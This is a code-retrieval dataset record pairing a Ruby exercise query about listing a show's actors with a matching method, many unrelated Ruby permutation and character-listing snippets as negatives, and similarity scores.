"def permute(arr)\n return [array] if array.length <= 1\n\n first = array.shift\n perms = permute(array)\n total_permutations = []\n \n \n # Now we iterate over the result of our recusive call say [[1, 2], [2, 1]]\n # and for each permutation add first into every index. This new subarray\n # gets added to total_permutations.\n perms.each do |perm|\n (0..perm.length).each do |i|\n total_permutations << perm[0...i] + [first] + perm[i..-1]\n end\n end\n total_permutations\nend",
"def permutations(array)\n return [array] if array.length == 1\n\n first = array.shift\n\n perms = permutations(array)\n total_permutations = []\n perms.each do |perm|\n (0..perm.length).each do |i|\n total_permutations << perm[0...i] + [first] + perm[i..-1]\n end\n\n end\n total_permutations\nend",
"def permutations(array)\n return [array] if array.length <= 1\n \n \n # Similar to the subsets problem, we observe that to get the permutations\n # of [1, 2, 3] we can look at the permutations of [1, 2] which are\n # [1, 2] and [2, 1] and add the last element to every possible index getting\n # [3, 1, 2], [1, 3, 2], [1, 2, 3], [3, 2, 1], [2, 3, 1]\n \n # pop off the last element\n first = array.shift\n # make the recursive call\n perms = permutations(array)\n # we will need an array to store all our different permutations\n total_permutations = []\n \n \n # Now we iterate over the result of our recusive call say [[1, 2], [2, 1]]\n # and for each permutation add first into every index. This new subarray\n # gets added to total_permutations.\n perms.each do |perm|\n (0..perm.length).each do |i|\n total_permutations << perm[0...i] + [first] + perm[i..-1]\n end\n end\n total_permutations\nend",
"def permutations(arr)\n arr = arr.dup\n return [arr] if arr.length == 1\n\n last_el = arr.pop\n base = permutations(arr) # [[1]]\n\n results = []\n base.each do |perm|\n (perm.length + 1).times do |i|\n result = perm[0...i] + [last_el] + perm[i..-1]\n results << result\n end\n end\n\n results\nend",
"def permutations(array)\n return [array] if array.length <= 1\n\n\n # Similar to the subsets problem, we observe that to get the permutations\n # of [1, 2, 3] we can look at the permutations of [1, 2] which are\n # [1, 2] and [2, 1] and add the last element to every possible index getting\n # [3, 1, 2], [1, 3, 2], [1, 2, 3], [3, 2, 1], [2, 3, 1]\n\n # pop off the last element\n first = array.shift\n # make the recursive call\n perms = permutations(array)\n # we will need an array to store all our different permutations\n total_permutations = []\n\n\n # Now we iterate over the result of our recusive call say [[1, 2], [2, 1]]\n # and for each permutation add first into every index. This new subarray\n # gets added to total_permutations.\n perms.each do |perm|\n (0..perm.length).each do |i|\n total_permutations << perm[0...i] + [first] + perm[i..-1]\n end\n end\n total_permutations\nend",
"def permutations(array)\n return [array] if array.length <= 1\n\n first = array.shift\n perms = permutations(array)\n total_permutations = []\n\n perms.each do |perm|\n (0..perm.length).each do |i|\n total_permutations << perm.take(i) + [first] + perm.drop(i)\n end\n end\n total_permutations\nend",
"def permutations(array)\n return [array] if array.length <= 1\n\n first = array.shift\n perms = permutations(array)\n\n total_permutations = []\n\n perms.each do |perm|\n (0..perm.length).each do |i|\n total_permutations << perm[0...i] + [first] + perm[i..-1]\n end\n end\n\n total_permutations\nend",
"def permute(list)\n if (list.length <= 1)\n return [list]\n end\n permutations = []\n count = 1\n list.each do |item|\n sublist_permutations = permute(list - [item])\n sublist_permutations.each do |permutation|\n permutation.unshift(item)\n permutations << permutation\n #puts \"Permutations : #{permutations.join(', ')}\"\n #puts \"permutation lists: #{permutations.each {permutation.join(', ')}}\"\n end\n end\n return permutations\nend",
"def permutations(array)\n return [array] if array.length <= 1\n\n # Similar to the subsets problem, we observe that to get the permutations of \n # [1, 2, 3] we can look at the permutations of [1, 2] which are [1, 2] and \n # [2, 1] and add the last element to every possible index getting [3, 1, 2], \n # [1, 3, 2], [1, 2, 3], [3, 2, 1], [2, 3, 1], [2, 1, 3]\n\n # pop off the last element\n first = array.shift\n\n # make the recursive call\n perms = permutations(array)\n\n # we will need an array to store all our different permutations\n total_permutations = []\n\n # Now we iterate over the result of our recusive call say [[1, 2], [2, 1]]\n # and for each permutation add first into every index. This new subarray\n # gets added to total_permutations.\n perms.each do |perm|\n (0..perm.length).to_a.each do |i|\n total_permutations << perm[0...i] + [first] + perm[i..-1]\n end\n end\n\n total_permutations\nend",
"def permutations(arr)\n return [arr] if arr.length <= 1\n\n prev_perms = permutations(arr[0..-2])\n total_perms = []\n\n prev_perms.each do |sub_perm|\n (0..sub_perm.length).each do |idx|\n total_perms << sub_perm[0...idx] + [arr.last] + sub_perm[idx..-1]\n end\n end\n\n total_perms\nend",
"def permutations(arr)\n # will have to iterate\n # will have logic similar to subsets\n\n # [1], hits base case and we're done\n\n return [arr] if arr.length <= 1\n\n result = []\n last_ele = arr.pop\n sub_perms = permutations(arr)\n\n sub_perms.each do |sub|\n (0..sub.length) do |i| # index will vary, we to include sub.length as an index, otherwise we will never be able to shove into the last/back spot\n result << sub[0...i] + [last_ele] + sub[i..-1]\n # since the i will vary as we iterate through, ^^ will shift the last_ele around\n end\n end",
"def permutations(array)\n results = []\n results[0] = [[array.first]]\n (1..array.length - 1).each do |i|\n new_perms = []\n old_perms = results[i-1].deep_dup\n old_perms.each do |perm|\n perm.each_with_index do |value, index|\n new_perms << perm.splice(index, i + 1)\n end\n new_perms << perm.push(i + 1)\n end\n results[i] = new_perms\n end\n results[array.length - 1]\nend",
"def permutations(array)\n return [[]] if array.empty?\n return [array] if array.length == 1\n new_arr = []\n\n first_el = array.shift\n array_perms = permutations(array)\n array_perms.each do |perm|\n (0..perm.length).each do |idx|\n new_arr << perm[0...idx] + [first_el] + perm[idx..-1]\n end\n end\n return new_arr\nend",
"def permutations(array)\n #base case\n return [[]] if array.empty?\n\n results = []\n prev_perm = permutations(array[0...-1]) # permutations([1,2]) == [[1, 2], [2, 1]]\n last_ele = array[-1] # 3\n prev_perm.each do |sub_arr|\n (0...array.length).each do |idx|\n # temp = Array.new(array.length) [nil, nil, nil]\n # temp = sub_arr[0...idx] + [last_ele] + sub_arr[idx..-1]\n results << temp\n end\n end\n results\nend",
"def permutations(elements)\n return [elements] if elements.size <= 1\n result = []\n elements.uniq.each do |p|\n _elements = elements.dup\n _elements.delete_at(elements.index(p))\n permutations(_elements).each do |perm|\n result << (perm << p)\n end\n end\n result\nend",
"def permutations(array)\n \nend",
"def ptn(a)\n if a.size == 1 then\n return [a]\n end\n ret = Array.new\n # 重ならないパターン\n ret += a.perms\n # 重なるパターン\n h1 = Hash.new\n for i in 0..a.size - 1\n for j in i + 1..a.size - 1\n key = [a[i], 0, a[j]].to_s\n if !h1.key?(key) then\n h1.store(key, nil)\n h2 = Hash.new\n # a[i]とa[j]を範囲をずらしながら重ねる\n for k in 0..a[i].size + a[j].size\n t = [0] * a[j].size + a[i] + [0] * a[j].size\n for m in 0..a[j].size - 1\n t[k + m] += a[j][m]\n end\n # 余分な0を取り除く\n t.delete(0)\n # 4より大きい値がないかチェック\n next if t.any? {|v| v > 4}\n # 9より長くないかチェック\n next if t.size > 9\n # 重複チェック\n if !h2.key?(t.to_s) then\n h2.store(t.to_s, nil)\n # 残り\n t2 = a.dup\n t2.delete_at(i)\n t2.delete_at(j - 1)\n # 再帰呼び出し\n ret += ptn([t] + t2)\n end\n end\n end\n end\n end\n return ret\nend",
"def permute(items, perms=[], res=[])\n unless items.length > 0\n res << perms\n else\n for i in items\n newitems = items.dup\n newperms = perms.dup\n newperms.unshift(newitems.delete(i))\n permute(newitems, newperms,res)\n end\n end\n return res\nend",
"def permutations(array)\n return [array] if array.length <= 1\n total_permutations = []\n last = array[-1]\n perms = permutations(array[0...-1])\n\n perms.each do |perm|\n 0.upto(perm.length) do |index|\n total_permutations << perm[0...index] + [last] + perm[index..-1]\n end\n end\n\n total_permutations\nend",
"def permutations(array)\n return [array] if array.length == 1\n\n results = []\n\n array.each_with_index do |item, i|\n permutations(array[0..i-1] + array[i+1..-1]).each do |perm|\n results << perm.unshift(item)\n end\n end\n\n results\nend",
"def print_perms(letters, length, current_perm=\"\")\n if current_perm.size == length\n puts current_perm\n else\n letters.each do |letter|\n print_perms(letters, length, current_perm + letter)\n end\n end\nend",
"def permutations(array)\n #[1,2]\nreturn [array] if array==[1]\n\n\n\n\nprevious=permutations(array[0...-1])\nlast = array.last\nresult=[]\nprevious.each do |ele|\n (0...array.length-1).each do |i|\n result << ele[0..i]+[last]+ele[i+1..-1]\n \n \n end\n result << [last]+ele\n\n end\n result\nend",
"def get_perms(input_string)\n return [\"\"] if input_string.length == 0\n return [input_string] if input_string.length == 1\n input_array = input_string.split(\"\")\n letter = input_array.pop\n words = get_perms(input_array.join(\"\"))\n perms = []\n words.each do |word|\n (word.length+1).times do |idx|\n perms.push(word.dup.insert(idx,letter))\n end\n end\n perms\nend",
"def permutations(array)\n\nend",
"def permutations(array)\n\nend",
"def permutations(array)\n\nend",
"def permutations(array)\n\nend",
"def print_perms(string, chars, position=0, current_perm=\"\")\n string_array = string.split(\"\")\n\n # If we have an empty string, then print no permutations\n if (string_array.size < 1)\n puts \"\"\n return\n end\n\n # If we're done with this perm, print it\n if (position == (string_array.size - 1))\n puts current_perm + string_array.last\n return\n end\n\n # Print all permutations\n chars.each do |char|\n next_perm = current_perm + string_array[position] + char\n print_perms(string, chars, position+1, next_perm)\n end\nend",
"def getPermutations3(s,perm=[])\n subresult = getPermutations2(s[1..3])\n subresult.each do |item|\n perm.push(item.insert(0,s[0]))\n end\n if perm.length >= factorial(s.length)\n return perm\n else\n s = rotateChar(s)\n getPermutations3(s,perm)\n end\nend",
"def permutations(array)\n if array.empty?\n return [[]]\n end\n if array.count == 1\n return [array.clone]\n end\n arr = []\n array.each_with_index do |ele, idx|\n cpy = array.clone\n cpy.delete_at(idx)\n permutations(cpy).each do |perm|\n arr << [ele] + perm\n end\n end\n return arr\nend",
"def permutations(string)\n # base case\n if string.length == 0\n return string\n end\n\n results = []\n\n i = 0\n while i < string.length\n first_letter = string[i]\n rest = string[i+1..-1]\n permutes = permutations(rest)\n \n permutes.each do |permuties|\n results.push(first_letter += permuties)\n end\n end\n\n return results\n\nend",
"def permutation(string)\n return [string] if string.size < 2\n char = string[0]\n total_perms = []\n perms = permutation(string[1..-1])\n\n perms.each do |perm|\n (0..perm.length).each do |i|\n total_perms << perm[0...i] + char + perm[i..-1]\n end\n end\n\n total_perms\nend",
"def permutations(input)\n return [] if input.empty?\n [permute(0,input)].flatten\n end",
"def lexicographic_permutations\n a=Array.new\n (1..self.length.factorial).each { |i| a << self.lexicographic_permutation(i) }\n a\n end",
"def permutations(array)\n\n ret = []\n return [array] if array.length < 2\n sub = permutations(array[1..-1])\n sub.each do |sub_array|\n (0..sub_array.length).each do |idx|\n ret << sub_array[0...idx] + [array.first] + sub_array[idx..-1]\n end\n end\n ret\nend",
"def permutations(array)\n if array[0].is_a?(Array)\n permutation_num = factorial(array[0].length)\n return array if array.length == permutation_num\n current = array[-1]\n prev_array = [current[-1]] + current[0..-2]\n next_array = [current[-1]] + current[0..-2].reverse\n result = array + [next_array , prev_array]\n permutations(result)\n else\n permutation_num = factorial(array.length)\n return array if array.length == permutation_num\n next_array = [array[0]] + array[1..-1].reverse\n result = [array] + [next_array]\n permutations(result)\n end\n end",
"def permutations(arr)\n return arr if arr.length <= 1\n return [arr, arr.reverse] if arr.length == 2\n last_el = arr.pop\n old_arr = arr.deep_dup\n arr = []\n permutations(old_arr).each do |el|\n (0..el.length).each do |pos|\n base_el = el.deep_dup\n arr += [base_el.insert(pos, last_el)]\n end\n end\n arr\nend",
"def perm(arr)\n return [arr] if arr.length <= 1\n result = []\n arr.each_index do |idx|\n temp = perm(arr[0...idx] + arr[idx+1..-1])\n subset = temp.map { |sub| [arr[idx]] + sub }\n result += subset\n end\n\n result\n\n\n\n\n # return [arr] if arr.length <= 1\n # result = []\n #\n # arr.each_index do |idx|\n #\n # other_perm = perm(arr[0...idx] + arr[idx+1..-1])\n # row = other_perm.map { |subarr| [arr[idx]] + subarr }\n # result += row\n # end\n #\n # result\nend",
"def print_permutations_of(array) \n array.permutation.to_a.each do |element|\n puts element.join(\", \")\n end\n end",
"def permutation(array)\n answer_arr = []\n return array if array.length == 1\n array.each_index do |i|\n perm = permutation(array - [array[i]])\n perm.each do |el|\n answer_arr << ([array[i]] + [el]).flatten\n end\n perm.each do |el|\n answer_arr << ([el] + [array[i]]).flatten\n end\n end\n answer_arr.uniq\nend",
"def permutations(string)\n perms = []\n combos = string.split('').permutation.to_a.map { |combo| combo.join('') }\n combos.each { |combo| perms << combo if !perms.include?(combo) }\n perms\nend",
"def get_permutations(arr)\n\t# byebug\n\treturn [arr] if arr.count <= 1\n\n\tarray_except_last = arr[0..arr.count - 2]\n\tlast_one = [arr.last]\n\n\tpermutations_of_array_except_last = get_permutations(array_except_last)\n\n\tpermutations = []\n\tpermutations_of_array_except_last.each do |permutation_of_array_except_last|\n\t\t(0..permutation_of_array_except_last.count).each do |position|\n\t\t\tif position == 0\n\t\t\t\tp = last_one + permutation_of_array_except_last\n\t\t\telsif position == array_except_last.count\n\t\t\t\tp = permutation_of_array_except_last + last_one\n\t\t\telse\n\t\t\t\tp = permutation_of_array_except_last[0...position] + last_one + permutation_of_array_except_last[position..permutation_of_array_except_last.count - 1]\n\t\t\tend\n\t\t\tpermutations << p\n\t\tend\n\tend\n\tpermutations\nend",
"def getPermutations2(s,perm=[])\n substring = s[1..2]\n perm.push(s[0] + substring)\n perm.push(s[0] + substring.reverse)\n if perm.length >= factorial(s.length)\n return perm\n else\n s = rotateChar(s)\n getPermutations2(s,perm)\n end\nend",
"def permutations(array)\n return [array] if array.length < 2\n\n result = []\n prev = permutations(array[0..-2])\n prev.each do |perm|\n (0..perm.size).each do |idx|\n result << perm.dup.insert(idx, array.last)\n end\n end \n \n result\nend",
"def permsol(str)\n str.chars.permutation.to_a.map(&:join).uniq \nend",
"def solve\n perms = (1..9).to_a.permutation.map {|p| p.join}\n prods = []\n\n perms.each do |p|\n (1..2).each do |len|\n a, b, c = p[0, len].to_i, p[len..4].to_i, p[5, 4].to_i\n prods << c if a * b == c\n end\n end\n \n prods.uniq.reduce( :+ )\n end",
"def permutations(array)\n return array if array.length <= 1\n\n if array.length == 2\n return [array, array.reverse]\n end\n\n final_array = []\n\n array.length.times do\n set = array.take(array.length - 1)\n\n final_array += permutations(set).map do |item|\n item += [array.last]\n end\n\n next_item = array.shift\n array.push(next_item)\n end\n\n final_array\nend",
"def permutations(arr)\n return [arr] if arr.length <= 1\n\n [arr.last] + permutations(arr[0...-1])\nend",
"def string_permutations(str) \n return [] if !str || str.length == 0\n \n perms = []\n helper(rest: str, perms: perms)\n perms \nend",
"def test_permutations\n find = Finder.new\n arr = [\"CAKE\", \"ANT\", \"TRY\"]\n word_list = [\"CAKE\", \"NAT\"]\n result = find.permutations(arr, word_list)\n expected = [\"CAKE\", \"NAT\"]\n assert_equal expected, result\n end",
"def permutate(word)\n max_size = word.size\n perms_arr = word.chars.permutation.map(&:join)\n perms_arr.each do |perm|\n @perms << perm if perm.size == max_size\n end\n end",
"def permutations(arr)\n return [arr] if arr.length == 1\n results = []\n arr.each_with_index do |num, idx|\n rest_of_arr = arr[0...idx] + arr[(idx + 1)..-1]\n permutations(rest_of_arr).each do |permutation|\n results << [num] + permutation\n end\n end\n results\nend",
"def permutations\n puts \"Input please?\"\n answer1 = gets.chomp\n\n puts \"Another one!\"\n answer2 = gets.chomp\n\n puts \"Another one!\"\n answer3 = gets.chomp\n\n total = answer1 + answer2 + answer3\n (0...total.length).each do |x|\n (0...total.length).each do |y|\n (0...total.length).each do |z|\n print total[x]+total[y]+total[z]\n puts \"\"\n end\n end\n end\nend",
"def permutations array\n if array.size < 2\n yield array\n else\n array.each do |element|\n permutations(array.select() {|n| n != element}) \\\n {|val| yield([element].concat val)}\n end\n end\nend",
"def permute(nums)\n result = []\n permute_helper(nums, [], result)\n result\nend",
"def permute(nums)\n result = []\n permute_helper(nums, [], result)\n result\nend",
"def permutations\n return [self] if length == 1\n\n orders = []\n positions = (0...length).to_a\n\n # Finding the permutations with a basic array of digits\n positions.each do |position|\n (positions - [position]).permutations.each do |permutation|\n orders << permutation.unshift(position)\n end\n end\n\n # We subsitute in our original elements. This prevents duplicate\n # elements from causing problems, and allows the [3,3] example to work.\n orders.map { |order| order.map { |index| self[index] } }\n end",
"def perm_recur(ans=\"\",s)\n if s.length == 0\n return\n end\n\n if s.length == 1\n puts ans + s\n return\n end\n \n if s.length == 2\n puts ans + s[0] + s[1] \n puts ans + s[1] + s[0]\n return\n end\n\n (0..s.size-1).each do |l|\n new = s.chars.rotate(l).join('')\n element = new[0] \n rest = new[1..new.size-1]\n perm_recur(ans + element, rest)\n end\nend",
"def permutations(str)\nend",
"def permutation(string)\n return [string] if string.size < 2\n char = string[0]\n perms = permutation(string[1..-1])\n result = []\n perms.each do |perm|\n result << char + perm\n (1..perm.length-1).each do |i|\n result << perm[0..i-1] + char + perm[i..-1]\n end\n result << perm + char\n end\n result.uniq\nend",
"def all_permutations\n perms = permutations\n perms = perms.shuffle.take(1) if @single_perm || ENV['FAST_TESTS']\n\n perms.each do |p|\n yield(p)\n WebMock.reset!\n end\n end",
"def permutations(string)\nend",
"def permutations(sequence)\n return sequence if sequence.empty?\n\n ch = sequence.delete_at(0)\n underlying = Set.new([ch])\n sequence.each do |ch|\n new_set = Set.new\n underlying.each do |permutation|\n (0..permutation.length).each do |idx|\n new_set.add(permutation.dup.insert(idx, ch))\n end\n end\n underlying = new_set\n end\n underlying.each\nend",
"def unclean_find_permutations str\n # ArrayList<String> \n permutations = []\n permutations << \"\"\n\n# char [] \n strArray = str.chars\n\n# for (char c :\n strArray.each do |c|\n\n # ArrayList<String>\n tempList = []\n\n # for (String s :\n permutations.each do |s|\n # {\n for i in 0..s.length\n tempList << s[0...i] + c + s[i..s.length]\n\n # tempList << s+c\n end\n\n permutations = tempList\n # }\n end\n end\n\n # permutations.uniq\n permutations\nend",
"def permutation (array)\n# yields permutation set WITH duplicates\nend",
"def permute(arr)\n permutations = []\n for i in (0 .. arr.size - 1)\n for j in (i + 1 .. arr.size - 1)\n permutations.push([arr[i],arr[j]])\n end\n end\n permutations\n end",
"def getPermutations(s)\n result = []\n for i in 0..2\n substring = s[1..2]\n result.push(s[0] + substring)\n result.push(s[0] + substring.reverse)\n s = rotateChar(s)\n end\n\n return result\nend",
"def permutations_lazy_iter(arr)\n new_arr = [arr]\n num_perms = factorial(arr.length)\n\n until new_arr.length == num_perms\n new_arr << arr.shuffle\n new_arr = new_arr.uniq\n end\n\n new_arr\nend",
"def permutation(array)\n return array if array.length == 1\n\n smaller = permutation(array[0...-1])\n combination_array = []\n (smaller.length + 1).times do |index|\n combination_array += smaller.dup.insert(index, array[-1])\n # debugger\n end\n combination_array\nend",
"def permutations(array)\n\treturn array.permutation\nend",
"def array_permutations(arr)\n return [arr] if arr.length <= 1\n removed = arr.last\n sliced_arr = arr.slice(0...-1)\n new_arrays = array_permutations(sliced_arr)\n res = []\n new_arrays.each{|new_array|res += insert_num(new_array, removed)}\n res\nend",
"def p1\n perm \" 1 2 4 3 4 3 5 6 \"\nend",
"def permutations(sequence)\n return sequence if sequence.empty?\n ch = sequence.delete_at(0)\n underlying = Set.new([ch])\n sequence.each do |ch|\n new_set = Set.new\n underlying.each do |permutation|\n (0..permutation.length).each do |idx|\n new_set.add(permutation.dup.insert(idx, ch))\n end\n end\n underlying = new_set\n end\n underlying.each\n end",
"def permute(nums, solution = [], results = []\n return results << solution.clone if solution.size == nums.size\n\n nums.each do |num|\n next if solution.include?(num)\n\n solution << num\n permute(nums, solution, results)\n solution.pop\n end\n results\nend",
"def permutations(array)\n results = []\n\n 1000.times do \n premutation = array.shuffle\n results << array << premutation\n end\n\n results.uniq.sort\nend",
"def q(a);a.permutation;end",
"def permutations(qsf,asf)\n if (qsf.empty?()==true)\n puts asf\n return\n end\n for i in (0..qsf.length-1)\n ch = qsf[i]\n roq = qsf[0,i] + qsf[i+1,qsf.length-1]\n permutations(roq,asf+ch);\n end\nend",
"def PermuteAll( arr_in )\n return arr_in if arr_in.count <= 1\n joinset = [\".\",\"-\",\"_\"]\n \n arr_out = []\n for k in 0..arr_in.count-1 do\n recurse = Array.new(arr_in)\n recurse.delete_at(k)\n temp = PermuteAll( recurse )\n for j in 0..temp.count-1 do\n arr_out += [arr_in[k] + temp[j]]\n joinset.each do |lolcat|\n arr_out += [arr_in[k] + lolcat + temp[j]]\n end\n end\n end\n return arr_out\n end",
"def lexicPerm1(list)\n\tlex_perms = list.permutation(10).to_a\n\tputs lex_perms[1_000_000 - 1].join()\nend",
"def permute(word, curr_index, results)\n if(curr_index == (word.length))\n results << word\n else\n for i in curr_index..word.length-1\n permute(swap(word, curr_index, i), curr_index+1, results)\n end\n end\nend",
"def permutations(string)\n string.chars.permutation(string.length).to_a.map { |arr| arr.join }.uniq\nend",
"def permutations(string)\n permute(string, 0, string.length)\nend",
"def all_possible_answers\n [1,2,3,4,5,6].repeated_permutation(4).to_a\n end",
"def permutations(paths)\n permutations = paths.map(&:downcase).map(&:all_permutations)\n permutations = permutations.flatten.sort_by(&:length).reverse\n permutations\nend",
"def permutations(p)\r\n p.to_s.scan(/\\d/).permutation.map{|e| e.join}.sort\r\nend",
"def test_permutation_list\n assert_equal([\"aaa\"], get_permutation_list(\"aaa\"))\n assert_equal([\"abc\", \"acb\", \"bac\", \"bca\", \"cab\", \"cba\"],\n get_permutation_list(\"abc\"))\n end",
"def permutations(string)\n string.chars.permutation(string.length).map(&:join).uniq\nend",
"def permutations(string)\n string.chars.permutation.to_a.map(&:join).uniq\nend",
"def get_permutations(n)\r\n return (1..n).to_a.permutation.to_a\r\nend"
] |
[
"0.67402077",
"0.67389166",
"0.67088866",
"0.6592986",
"0.6546746",
"0.6484407",
"0.64838177",
"0.6465498",
"0.64506906",
"0.6434295",
"0.641186",
"0.6406546",
"0.6396502",
"0.63918483",
"0.639125",
"0.6358306",
"0.63490385",
"0.63415337",
"0.63324124",
"0.6324909",
"0.62823606",
"0.6263519",
"0.6261579",
"0.62551224",
"0.6249201",
"0.6240563",
"0.6229712",
"0.6203305",
"0.6198093",
"0.6178676",
"0.6176963",
"0.61699337",
"0.6157394",
"0.61540526",
"0.6143269",
"0.6143269",
"0.6143269",
"0.6143269",
"0.6134395",
"0.60654086",
"0.6065183",
"0.60228294",
"0.6007128",
"0.60046667",
"0.60027623",
"0.59707713",
"0.5961163",
"0.59465575",
"0.59447956",
"0.593991",
"0.59383845",
"0.59270775",
"0.5925367",
"0.59238493",
"0.5918301",
"0.59043664",
"0.5897031",
"0.5878635",
"0.5874905",
"0.5862608",
"0.58496004",
"0.5836359",
"0.58275574",
"0.58219784",
"0.58131975",
"0.5798272",
"0.5797729",
"0.5774729",
"0.577321",
"0.576503",
"0.5754366",
"0.5744914",
"0.57385874",
"0.57204205",
"0.57163703",
"0.5709277",
"0.5708963",
"0.5697927",
"0.5697331",
"0.5683303",
"0.5678247",
"0.56646395",
"0.5662566",
"0.5643873",
"0.56437105",
"0.5640114",
"0.563424",
"0.5633753",
"0.5575657",
"0.5574242",
"0.5540751",
"0.5528007",
"0.5508277",
"0.54958117",
"0.54876375",
"0.54828393",
"0.5474024",
"0.54698414",
"0.5468151",
"0.5450788"
] |
0.728698
|
0
|
Define a method in the Show class called actors_list that returns an Array of the full names of each actor associated with a show. Remember, a show should have many actors through characters.
|
def actors_list
self.actors.map do |actor|
"#{actor.first_name} #{actor.last_name}"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def actors_list\n # characters.where(show_id: self.id)\n self.characters.map do |character|\n character.actor.full_name\n end\n end",
"def actors_list\n self.characters.map do |c|\n \"#{c.actor.full_name}\"\n end\n end",
"def actors_list\n actor_names = []\n self.characters.each do |char|\n if !actor_names.include?(char.actor.full_name)\n actor_names << char.actor.full_name\n end\n end\n return actor_names\n end",
"def actors_by_show\n @shows.flat_map do |character, actor|\n character.actors\n end\n\n end",
"def actors \n self.characters.collect{ |character| character.actor}\n end",
"def list_roles\n Character.where(actor:self).map{|c|\"#{c.name} - #{c.show.name}\"}\n end",
"def actors\n self.characters.collect{ |character| character.actor }\n end",
"def actors \n characters.map { | characters | characters.actor}.uniq\n end",
"def list_roles\n self.characters.map do |character|\n \"#{character.name} - #{character.show.name}\"\n end\n end",
"def list_roles\n self.characters.map do |character|\n \"#{character.name} - #{character.show.name}\"\n end\n end",
"def all_actors\n sql = %Q[\n select * from #{@actors_table}\n order by name asc\n ]\n\n # output a header\n puts \"Actors\"\n puts \"------------------------\"\n\n # execute query and iterate through the result set\n results = @db.exec(sql)\n results.each do |actor|\n puts \"#{actor[\"name\"]}\"\n end\n end",
"def shows\n CharacterShow.all.map do |char|\n char.show\n end\n end",
"def actors\n doc.search('#actorList ul li a').map{|n| n.text.gsub(\"\\n\",'').strip}\n .delete_if{|text| text=='...'}\n end",
"def display_names\n collect { |a| a.display_name }\n end",
"def actors\n self.roles.map do |role|\n role.actor\n end\n end",
"def pnl(list_of_actors)\n puts\n list_of_actors.each {|i| puts i.last_name}\n\n# \t\t\ti.movies.each {|m| \n#\t\t\t\tprint \"==\",m.name,' : '\n#\t\t\t\t }\n# }\n puts\nend",
"def actors\n request = Message::List.new(Thread.mailbox)\n list = send_request request\n list.map!(&:to_sym)\n end",
"def shows\n show_characters = ShowCharacter.all.select {|show_character| show_character.character == self}\n show_characters.map {|show_character| show_character.show}\n end",
"def all_characters\n @shows.map do |show|\n show.characters\n end.flatten\n end",
"def actors\n this_movies_performances = Performance.where(\"movie_id\" => self.id)\n\n this_movies_actors_ids = []\n this_movies_performances.each do |performance|\n this_movies_actors_ids << performance.actor_id\n end\n\n Actor.where(\"id\" => this_movies_actors_ids)\n end",
"def showlist\n\t\t@people_list.each do |x|\n\t\t\tputs \"* #{capitalize(x.type)}, #{capitalize(x.name)}, #{capitalize(x.party)}\"\n\t\tend\n\tend",
"def show\n @displays = Display.all\n @names=[]\n @displays.each do |display|\n @names.push display.name\n end\n end",
"def members_list\n all_lifters.map {|lifters| lifters.name}\n end",
"def party_members(party_index)\n actors = []\n for ucPartyActor in @ucPartyActorsList\n actors.push(ucPartyActor.actor)\n end\n return actors\n end",
"def actors_name\n document[\"castingShort\"][\"actors\"].split(\", \") rescue nil\n end",
"def names\n @registry.synchronize { @actors.keys }\n end",
"def animal_nicknames \n self.animals.map do |animal|\n animal.nickname\n end \n end",
"def actors_inventory\n actors.map { |actor| actor_inventory(actor) }.flatten\n end",
"def movies\n char_movies = Char_Movie.all.select{ |char_movie| char_movie.character.actor == self}\n char_movies.collect{ |char_movie| char_movie.movie }\n end",
"def do_names\n animal_list = get_names()\n print_names(animal_list)\n end",
"def animal_nicknames\n Animals.map { |animal| animal.nickname }\n end",
"def actors_ids\n actors_ids = []\n actors_name.each_with_index do |actor, index|\n actors_ids << document[\"castMember\"][directors_name.size + index][\"person\"][\"code\"] if actor == document[\"castMember\"][directors_name.size + index][\"person\"][\"name\"]\n end\n actors_ids\n end",
"def actors\n actor\n end",
"def list_owners\n Owner.all.each_with_index do |owner, i|\n puts \"\\n#{i + 1}. #{owner.name} \\nAddress: #{owner.address}\"\n puts \"Food provided: #{owner.food_provided.capitalize}\"\n puts \"Has a cat? #{owner.cat_already.to_s.capitalize} | Has a dog? #{owner.dog.to_s.capitalize}\"\n puts \"Lives in #{owner.neighborhood.name}\"\n all_cats = Cat.all.select { |x| x.owner_id == owner.id}\n cats_list = all_cats.map{ |x| x.name }.join(\", \")\n puts \"#{owner.name}'s cat(s): #{cats_list}\"\n puts \"\\n----------------------------------------------------------------------------\"\n end\n end",
"def animal_nicknames()\n self.animals.map() { | animal | animal.nickname }\n end",
"def list(print=true)\n list = @agents.each_with_index.map do |a, i|\n \" \\033[33m# #{i}\\033[0m\\t#{a.name}\"\n end\n result = list.join(\"\\n\")\n puts result if print && !result.empty?\n result\n end",
"def names\n\n get_list['list'].collect { |re, pa| re }\n end",
"def all_artist_names\n self.artists.map do |artist|\n artist.name\n end\nend",
"def list_of_names\n World.politicians.map { |p| p.name } + World.voters.map { |p| p.name}\nend",
"def actors\n Actor.where(:movie_id => id)\n end",
"def list_all_reactors\n end",
"def movies\n CharacterMovieActing.all.filter do |cma|\n cma.character == self\n end.map do |cm|\n cm.movie\n end\n end",
"def index\n @actors = Actor.all\n end",
"def author_names\n names = []\n users.each do |user|\n names << user.fullname\n end\n names\n end",
"def names\n map(&:name)\n end",
"def print_agents(master_list)\r\n for agent_info in master_list\r\n puts \"The code name of agent #{agent_info[0].join(' ')} is #{agent_info[1].join(' ')}\"\r\n end\r\nend",
"def complete_name_list\n #User.select(:name).map{|user_record| user_record.name}\n end",
"def print_items\n coffees = @current.map(&:name)\n end",
"def characters\n Character.all.select{ |character| character.actor == self }\n end",
"def names\n map(&:name)\n end",
"def names\n @list.keys\n end",
"def list_names\n list_of_names = String.new\n Contacts.each { |contact| list_of_names = list_of_names + contact[1][:name_choices] + \", \" }\n return list_of_names\nend",
"def artist_names\n self.artists.map do |artist|\n artist.name\n end\n end",
"def names\n map(&:names).flatten\n end",
"def characters\n Character.all.select {|character| character.actor == self }\n end",
"def index\n @film_actors = FilmActor.all\n end",
"def genre_names\n genres.map {|genre| genre.name}\n #create empty array\n #@movie.genres\n #call genres, because @movie is the instance itself already\n #run map to get each name of each genre instance\n #return map\n end",
"def film_title_list(films)\n film_titles = films.map { |f| f['title'] }\n '- ' + film_titles.join(\" \\n - \")\nend",
"def artist_names\n self.artists.collect do |n|\n n.name \n end\n end",
"def winner_usernames\n return winners.map {|p| p.username}\n end",
"def list \n @people.each_with_index do |a,i|\n puts \"Entry \" + (i+1).to_s + \": \" + a.fullname\n end\n end",
"def get_names\n @names\n end",
"def display_connections(movie_list, actor_list)\r\n index = 0\r\n for movie in movie_list\r\n puts \"#{actor_list[index]} and #{actor_list[index+=1]} in #{movie}.\"\r\n end\r\nend",
